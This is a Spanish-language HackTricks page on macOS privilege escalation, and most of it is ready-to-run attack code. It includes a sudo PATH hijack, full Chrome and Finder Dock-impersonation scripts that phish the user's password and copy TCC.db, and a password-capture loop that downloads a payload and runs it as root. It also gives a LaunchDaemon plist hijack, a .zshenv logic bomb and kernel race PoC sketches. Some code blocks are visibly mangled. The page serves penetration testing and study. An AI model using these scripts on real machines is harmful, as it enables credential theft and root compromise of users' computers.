macOS Privilege Escalation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

TCC Privilege Escalation

Si llegaste aquí buscando TCC privilege escalation ve a:

macOS TCC

Linux Privesc

Ten en cuenta que most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS máquinas. Consulta:

Linux Privilege Escalation

Interacción del usuario

Sudo Hijacking

Puedes encontrar el original Sudo Hijacking technique inside the Linux Privilege Escalation post.

Sin embargo, macOS mantiene el PATH del usuario cuando éste ejecuta sudo. Lo que significa que otra forma de lograr este ataque sería hijack other binaries que la víctima aún ejecute al running sudo:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Ten en cuenta que un usuario que usa la terminal probablemente tendrá Homebrew instalado. Por eso es posible secuestrar binarios en /opt/homebrew/bin.

Dock Impersonation

Usando algo de social engineering podrías suplantar por ejemplo a Google Chrome dentro del Dock y en realidad ejecutar tu propio script:

Algunas sugerencias:

  • Comprueba en el Dock si hay un Chrome, y en ese caso elimina esa entrada y añade la entrada falsa de Chrome en la misma posición en el array del Dock.
Chrome Dock impersonation script ```bash #!/bin/sh

THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

If you want to removed granted TCC permissions: > delete from access where client LIKE ‘%Chrome%’;

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

Create App structure

mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

Payload to execute

cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<‘EOF’ #include <stdio.h> #include <stdlib.h> #include <unistd.h>

int main() { char *cmd = “open /Applications/Google\\ Chrome.app & “ “sleep 2; “ “osascript -e ‘tell application "Finder"’ -e ‘set homeFolder to path to home folder as string’ -e ‘set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias’ -e ‘set targetFolder to POSIX file "/tmp" as alias’ -e ‘duplicate file sourceFile to targetFolder with replacing’ -e ‘end tell’; “ “PASSWORD=$(osascript -e ‘Tell application "Finder"’ -e ‘Activate’ -e ‘set userPassword to text returned of (display dialog "Enter your password to update Google Chrome:" default answer "" with hidden answer buttons {"OK"} default button 1 with icon file "Applications:Google Chrome.app:Contents:Resources:app.icns")’ -e ‘end tell’ -e ‘return userPassword’); “ “echo $PASSWORD > /tmp/passwd.txt”; system(cmd); return 0; } EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

Info.plist

cat << ‘EOF’ > /tmp/Google\ Chrome.app/Contents/Info.plist

CFBundleExecutable Google Chrome CFBundleIdentifier com.google.Chrome CFBundleName Google Chrome CFBundleVersion 1.0 CFBundleShortVersionString 1.0 CFBundleInfoDictionaryVersion 6.0 CFBundlePackageType APPL CFBundleIconFile app EOF

Copy icon from Google Chrome

cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

Add to Dock

defaults write com.apple.dock persistent-apps -array-add ‘tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0’ sleep 0.1 killall Dock

</details>

{{#endtab}}

{{#tab name="Finder Impersonation"}}
Algunas sugerencias:

- No puedes eliminar Finder del Dock, así que si vas a añadirlo al Dock, podrías poner el Finder falso justo al lado del real. Para esto necesitas **añadir la entrada del Finder falso al principio del array Dock**.
- Otra opción es no colocarlo en el Dock y simplemente abrirlo; "Finder asking to control Finder" no es tan extraño.
- Otra opción para **escalate to root without asking** la contraseña con un cuadro horrible, es hacer que Finder realmente pida la contraseña para realizar una acción privilegiada:
- Pide a Finder que copie en **`/etc/pam.d`** un nuevo archivo **`sudo`** (el cuadro solicitando la contraseña indicará "Finder wants to copy sudo")
- Pide a Finder que copie un nuevo **Authorization Plugin** (Puedes controlar el nombre del archivo para que el cuadro solicitando la contraseña indique "Finder wants to copy Finder.bundle")

<details>
<summary>Script de impersonación del Dock de Finder</summary>
```bash
#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';

rm -rf /tmp/Finder.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources

# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo $PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c

chmod +x /tmp/Finder.app/Contents/MacOS/Finder

# Info.plist
cat << 'EOF' > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

Password prompt phishing + sudo reuse

El malware frecuentemente abusa de la interacción del usuario para capturar una contraseña válida para sudo y reutilizarla programáticamente. Un flujo común:

  1. Identificar al usuario conectado con whoami.
  2. Loop password prompts hasta que dscl . -authonly "$user" "$pw" devuelve éxito.
  3. Cachear la credencial (p. ej., /tmp/.pass) y ejecutar acciones privilegiadas con sudo -S (contraseña por stdin).

Example minimal chain:

user=$(whoami)
while true; do
read -s -p "Password: " pw; echo
dscl . -authonly "$user" "$pw" && break
done
printf '%s\n' "$pw" > /tmp/.pass
curl -o /tmp/update https://example.com/update
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update

La contraseña robada puede reutilizarse para borrar la cuarentena de Gatekeeper con xattr -c, copiar LaunchDaemons u otros archivos privilegiados, y ejecutar etapas adicionales de forma no interactiva.

Vectores específicos de macOS más recientes (2023–2025)

AuthorizationExecuteWithPrivileges obsoleto pero aún usable

AuthorizationExecuteWithPrivileges fue deprecado en 10.7 pero todavía funciona en Sonoma/Sequoia. Muchos actualizadores comerciales invocan /usr/libexec/security_authtrampoline con una ruta no confiable. Si el binario objetivo es escribible por el usuario puedes plantar un trojan y aprovechar el prompt legítimo:

# find vulnerable helper calls
log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'

# replace expected helper
cp /tmp/payload /Users/me/Library/Application\ Support/Target/helper
chmod +x /Users/me/Library/Application\ Support/Target/helper
# when the app updates, the root prompt spawns your payload

Combínalo con los masquerading tricks above para presentar un diálogo de contraseña creíble.

Triage de helper privilegiado / XPC

Muchas privescs modernas de terceros en macOS siguen el mismo patrón: un root LaunchDaemon expone un Mach/XPC service desde /Library/PrivilegedHelperTools, luego el helper o bien no valida al cliente, lo valida demasiado tarde (PID race), o expone un root method que consume una ruta/script controlado por el usuario. Esta es la clase de bug detrás de muchos fallos recientes en helpers de clientes VPN, lanzadores de juegos y actualizadores.

Quick triage checklist:

ls -l /Library/PrivilegedHelperTools /Library/LaunchDaemons
plutil -p /Library/LaunchDaemons/*.plist 2>/dev/null | rg 'MachServices|Program|ProgramArguments|Label'
for f in /Library/PrivilegedHelperTools/*; do
echo "== $f =="
codesign -dvv --entitlements :- "$f" 2>&1 | rg 'identifier|TeamIdentifier|com.apple'
strings "$f" | rg 'NSXPC|xpc_connection|AuthorizationCopyRights|authTrampoline|/Applications/.+\.sh'
done

Presta especial atención a los helpers que:

  • siguen aceptando solicitudes después de la desinstalación porque el job permaneció cargado en launchd
  • ejecutan scripts o leen configuración desde /Applications/... u otras rutas escribibles por usuarios no-root
  • dependen de una validación entre pares PID-based o bundle-id-only que puede ser susceptible a condiciones de carrera

Para más detalles sobre fallos de autorización de helpers consulta this page.

Herencia del entorno de scripts de PackageKit (CVE-2024-27822)

Hasta que Apple lo arregló en Sonoma 14.5, Ventura 13.6.7 y Monterey 12.7.5, las instalaciones iniciadas por el usuario vía Installer.app / PackageKit.framework podían ejecutar PKG scripts como root dentro del entorno del usuario actual. Eso significa que un paquete que use #!/bin/zsh cargaría el ~/.zshenv del atacante y lo ejecutaría como root cuando la víctima instalara el paquete.

Esto es especialmente interesante como una bomba lógica: solo necesitas un punto de apoyo en la cuenta del usuario y un archivo de inicio de shell escribible, luego esperas a que cualquier instalador vulnerable zsh-based sea ejecutado por el usuario. Esto no suele aplicarse a despliegues MDM/Munki porque esos se ejecutan dentro del entorno del usuario root.

# inspect a vendor pkg for shell-based install scripts
pkgutil --expand-full Target.pkg /tmp/target-pkg
find /tmp/target-pkg -type f \( -name preinstall -o -name postinstall \) -exec head -n1 {} \;
rg -n '^#!/bin/(zsh|bash)' /tmp/target-pkg

# logic bomb example for vulnerable zsh-based installers
echo 'id > /tmp/pkg-root' >> ~/.zshenv

Si quieres profundizar en el abuso específico de instaladores, también consulta this page.

LaunchDaemon plist hijack (CVE-2025-24085 pattern)

Si un LaunchDaemon plist o su objetivo ProgramArguments es user-writable, puedes escalar intercambiándolo y luego forzando a launchd a recargar:

sudo launchctl bootout system /Library/LaunchDaemons/com.apple.securemonitor.plist
cp /tmp/root.sh /Library/PrivilegedHelperTools/securemonitor
chmod 755 /Library/PrivilegedHelperTools/securemonitor
cat > /Library/LaunchDaemons/com.apple.securemonitor.plist <<'PLIST'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>Label</key><string>com.apple.securemonitor</string>
<key>ProgramArguments</key>
<array><string>/Library/PrivilegedHelperTools/securemonitor</string></array>
<key>RunAtLoad</key><true/>
</dict></plist>
PLIST
sudo launchctl bootstrap system /Library/LaunchDaemons/com.apple.securemonitor.plist

Esto refleja el patrón de exploit publicado para CVE-2025-24085, donde un plist escribible fue abusado para ejecutar código del atacante como root.

XNU SMR credential race (CVE-2025-24118)

Una race in kauth_cred_proc_update permite a un atacante local corromper el puntero de credenciales de solo lectura (proc_ro.p_ucred) al competir bucles setgid()/getgid() entre hilos hasta que ocurre un torn memcpy. La corrupción exitosa concede uid 0 y acceso a la memoria del kernel. Estructura mínima de PoC:

// thread A
while (1) setgid(rand());
// thread B
while (1) getgid();

Combínelo con heap grooming para colocar datos controlados donde el pointer se vuelva a leer. En builds vulnerables esto es un local kernel privesc fiable sin requisitos de SIP bypass.

Bypass de SIP vía Migration assistant (“Migraine”, CVE-2023-32369)

Si ya tienes root, SIP aún bloquea escrituras en ubicaciones del sistema. El bug Migraine abusa del entitlement de Migration Assistant com.apple.rootless.install.heritable para crear un proceso hijo que hereda el SIP bypass y sobrescribe rutas protegidas (p. ej., /System/Library/LaunchDaemons). La cadena:

  1. Obtener root en un sistema en vivo.
  2. Trigger systemmigrationd con un estado crafted para ejecutar un attacker-controlled binary.
  3. Usar el entitlement heredado para parchear archivos protegidos por SIP, persistiendo incluso tras reboot.

NSPredicate/XPC expression smuggling (CVE-2023-23530/23531 bug class)

Múltiples daemons de Apple aceptan objetos NSPredicate vía XPC y solo validan el campo expressionType, que está bajo control del atacante. Al craftear un predicate que evalúe selectors arbitrarios puedes lograr code execution en servicios XPC root/system (p. ej., coreduetd, contextstored). Combinado con un initial app sandbox escape, esto otorga privilege escalation sin prompts del usuario. Busca endpoints XPC que deserialicen predicates y carezcan de un visitor robusto.

TCC - Escalada de privilegios a root

CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation

Any user (incluso sin privilegios) puede crear y montar un Time Machine snapshot y acceder a TODOS los archivos de ese snapshot.
El único privilegio necesario es que la aplicación usada (como Terminal) tenga Full Disk Access (FDA) (kTCCServiceSystemPolicyAllfiles), que debe ser concedido por un admin.

Montar snapshot de Time Machine ```bash # Create snapshot tmutil localsnapshot

List snapshots

tmutil listlocalsnapshots / Snapshots for disk /: com.apple.TimeMachine.2023-05-29-001751.local

Generate folder to mount it

cd /tmp # I didn it from this folder mkdir /tmp/snap

Mount it, “noowners” will mount the folder so the current user can access everything

/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

Access it

ls /tmp/snap/Users/admin_user # This will work

</details>

Una explicación más detallada se puede [**encontrar en el informe original**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**

## Información sensible

Esto puede ser útil para escalar privilegios:


<a class="content_ref" href="macos-files-folders-and-binaries/macos-sensitive-locations.md"><span class="content_ref_label">macOS Sensitive Locations & Interesting Daemons</span></a>

## Referencias

- [Microsoft "Migraine" SIP bypass (CVE-2023-32369)](https://www.microsoft.com/en-us/security/blog/2023/05/30/new-macos-vulnerability-migraine-could-bypass-system-integrity-protection/)
- [CVE-2025-24118 SMR credential race write-up & PoC](https://github.com/jprx/CVE-2025-24118)
- [CVE-2024-27822: macOS PackageKit Privilege Escalation](https://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html)
- [CVE-2024-30165: AWS Client VPN for macOS Local Privilege Escalation](https://blog.emkay64.com/macos/CVE-2024-30165-finding-and-exploiting-aws-client-vpn-on-macos-for-local-privilege-escalation/)

> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>